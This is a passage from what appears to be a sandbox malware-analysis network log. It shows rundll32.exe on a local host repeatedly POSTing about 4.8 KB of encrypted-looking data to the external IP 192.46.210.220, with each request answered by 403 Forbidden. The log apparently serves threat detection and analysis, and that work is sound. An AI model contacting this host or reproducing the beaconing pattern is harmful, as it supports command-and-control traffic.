8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:58 UTC	118	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:58 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.3	49847	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:54:02 UTC	118	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:54:02 UTC	118	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:54:02 UTC	128	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:54:02 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.3	49848	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:54:02 UTC	123	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:54:02 UTC	123	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:54:02 UTC	128	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:54:02 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.3	49856	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:54:05 UTC	128	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:54:05 UTC	128	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:54:06 UTC	138	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:54:06 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.3	49857	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:54:06 UTC	133	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:54:06 UTC	133	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:54:06 UTC	138	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:54:06 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.3	49864	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:54:09 UTC	138	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:54:09 UTC	138	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:54:10 UTC	147	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:54:10 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.3	49865	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:54:09 UTC	143	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:54:09 UTC	143	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:54:10 UTC	148	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:54:10 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49751	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:18 UTC	14	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:18 UTC	14	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:18 UTC	19	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:18 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.3	49872	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:54:13 UTC	148	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:54:13 UTC	148	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:54:14 UTC	157	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:54:14 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.3	49873	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:54:13 UTC	153	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:54:13 UTC	153	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:54:14 UTC	158	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:54:14 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.3	49880	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:54:17 UTC	158	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:54:17 UTC	158	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:54:18 UTC	167	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:54:18 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.3	49881	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:54:17 UTC	162	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:54:17 UTC	163	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:54:18 UTC	167	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:54:18 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.3	49907	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:54:21 UTC	168	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:54:21 UTC	168	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:54:22 UTC	177	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:54:22 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.3	49909	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:54:21 UTC	172	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:54:21 UTC	172	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:54:22 UTC	177	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:54:22 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.3	49931	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:54:25 UTC	177	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:54:25 UTC	178	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:54:26 UTC	187	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:54:25 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.3	49932	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:54:25 UTC	182	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
